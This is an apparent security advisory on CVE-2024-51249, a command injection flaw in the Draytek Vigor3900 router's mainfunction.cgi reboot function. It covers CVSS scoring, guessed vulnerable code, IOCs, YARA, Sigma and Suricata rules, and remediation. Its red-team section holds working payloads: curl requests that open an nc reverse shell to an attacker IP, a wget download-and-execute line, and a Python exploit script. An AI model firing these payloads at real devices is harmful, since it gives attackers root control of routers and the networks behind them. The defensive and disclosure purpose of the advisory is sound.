CVE-2024-51249

Executive Summary

CVE-2024-51249 is a critical command injection vulnerability in the Draytek Vigor3900 router running firmware version 1.5.1.3. The flaw resides in the mainfunction.cgi script, specifically within the reboot function. An unauthenticated attacker can inject arbitrary operating system commands by crafting a malicious HTTP request to the CGI endpoint. Successful exploitation leads to full remote code execution (RCE) with root privileges, allowing the attacker to compromise the device, pivot into internal networks, or use the router as a botnet node.

This vulnerability is particularly dangerous because it requires no authentication and can be triggered over the network. The CVSS score is 0.0 in the NVD record, but based on the technical details, a realistic CVSSv3.1 score is 9.8 (Critical). The EPSS score is 0.0%, indicating low exploitation probability at the time of analysis, but this may change as proof-of-concept code circulates.

Supply Chain & Package Security

Not applicable – This is an embedded firmware vulnerability, not a software package dependency issue.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full file system access possible.
• Integrity (I): High (H) – Arbitrary commands can be executed.
• Availability (A): High (H) – Can cause denial of service or full compromise.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the mainfunction.cgi CGI script. The reboot function likely passes user-supplied parameters (e.g., action=reboot&arg=value) directly to a system shell command without proper sanitization. An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Example vulnerable parameter: The arg parameter in the reboot request is concatenated into a command like:

/sbin/reboot <user_input>

If the user input is ; id > /tmp/pwned, the executed command becomes:

/sbin/reboot ; id > /tmp/pwned

This results in the id command being executed and its output written to a file.

The CGI script runs with root privileges, giving the attacker full control over the device.

Vulnerable vs. Patched Code

Vulnerable code (conceptual):

// mainfunction.cgi (v1.5.1.3)
void handle_reboot(char *arg) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "/sbin/reboot %s", arg);
    system(cmd);
}

Patched code (hypothetical):

// mainfunction.cgi (patched)
void handle_reboot(char *arg) {
    // Validate input: only allow alphanumeric and specific safe chars
    if (!is_safe(arg)) {
        return_error("Invalid input");
        return;
    }
    // Use execve with fixed arguments
    execl("/sbin/reboot", "reboot", NULL);
}

Note: No official patch has been released by Draytek.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Draytek Vigor3900 with firmware 1.5.1.3
• Network access to the router's web interface (typically port 80 or 443)

Exploit payload:

# Inject command to create a reverse shell
curl -X POST "http://<target>/cgi-bin/mainfunction.cgi" \
  --data "action=reboot&arg=;nc -e /bin/sh <attacker_ip> 4444;"

Alternative payload (download and execute a payload):

curl -X POST "http://<target>/cgi-bin/mainfunction.cgi" \
  --data "action=reboot&arg=;wget http://<attacker_ip>/payload.sh -O /tmp/payload.sh && sh /tmp/payload.sh;"

Full exploitation script (Python):

import requests
import sys

target = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

payload = f";nc -e /bin/sh {attacker_ip} {attacker_port};"
url = f"http://{target}/cgi-bin/mainfunction.cgi"
data = {"action": "reboot", "arg": payload}

try:
    r = requests.post(url, data=data, timeout=5)
    print(f"[+] Payload sent. Check your listener on {attacker_ip}:{attacker_port}")
except Exception as e:
    print(f"[-] Error: {e}")

Usage:

# Start listener on attacker machine
nc -lvnp 4444

# Run exploit
python3 exploit.py 192.168.1.1 192.168.1.100 4444

Blue Team (Detection & Hardening)

Detection steps:

1. Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with unusual parameters.
2. Look for shell metacharacters (;, |, &, `) in the arg parameter.
3. Check for unexpected processes spawned by the web server (e.g., nc, wget, curl).
4. Monitor outbound connections from the router to unknown IPs on unusual ports.

Hardening:

• Restrict access to the web interface to trusted IPs only.
• Disable remote management if not required.
• Apply network segmentation to isolate the router from critical assets.
• Monitor for firmware updates from Draytek.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action=reboot and arg containing shell metacharacters.
• Outbound connections from the router to external IPs on ports 4444, 1337, or other non-standard ports.
• DNS queries to domains associated with C2 infrastructure.

File System IOCs:

• Unexpected files in /tmp/ (e.g., pwned, payload.sh).
• Modified system binaries or scripts.
• Presence of reverse shell binaries (e.g., nc, ncat).

Process IOCs:

• Unusual processes running as root: nc, bash, python, perl.
• Multiple instances of /bin/sh spawned by the web server.

Detection Engineering

YARA Rule

rule CVE_2024_51249_Command_Injection {
    meta:
        description = "Detects command injection attempts against Draytek Vigor3900 mainfunction.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51249"
    strings:
        $cgi_path = "/cgi-bin/mainfunction.cgi"
        $action_reboot = "action=reboot"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&"
        $shell_meta4 = "`"
        $cmd_nc = "nc"
        $cmd_wget = "wget"
        $cmd_curl = "curl"
    condition:
        $cgi_path and $action_reboot and (
            $shell_meta1 or $shell_meta2 or $shell_meta3 or $shell_meta4 or
            $cmd_nc or $cmd_wget or $cmd_curl
        )
}

Sigma Rule

title: CVE-2024-51249 Draytek Vigor3900 Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to mainfunction.cgi with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=reboot'
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in non-malicious contexts (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51249 Draytek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/mainfunction.cgi";
    http_uri;
    content:"action=reboot";
    http_client_body;
    pcre:"/(;|\||&|`)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-51249;
)

Remediation & Mitigation

Immediate actions:

1. Isolate affected devices – Disconnect the Vigor3900 from the internet if possible.
2. Restrict access – Use firewall rules to allow only trusted IPs to access the web interface.
3. Monitor logs – Enable detailed logging on the router and SIEM for suspicious activity.

Long-term remediation:

• Apply vendor patch – Check Draytek’s support site for firmware updates. If no patch is available, consider replacing the device.
• Implement WAF rules – Deploy a web application firewall to block requests containing shell metacharacters in CGI parameters.
• Network segmentation – Place the router in a DMZ and limit its communication to only necessary services.

Workaround (if patching is not possible):

• Disable the web interface entirely and manage the router via SSH or console only.
• Use a reverse proxy to filter malicious requests before they reach the router.

Valters IT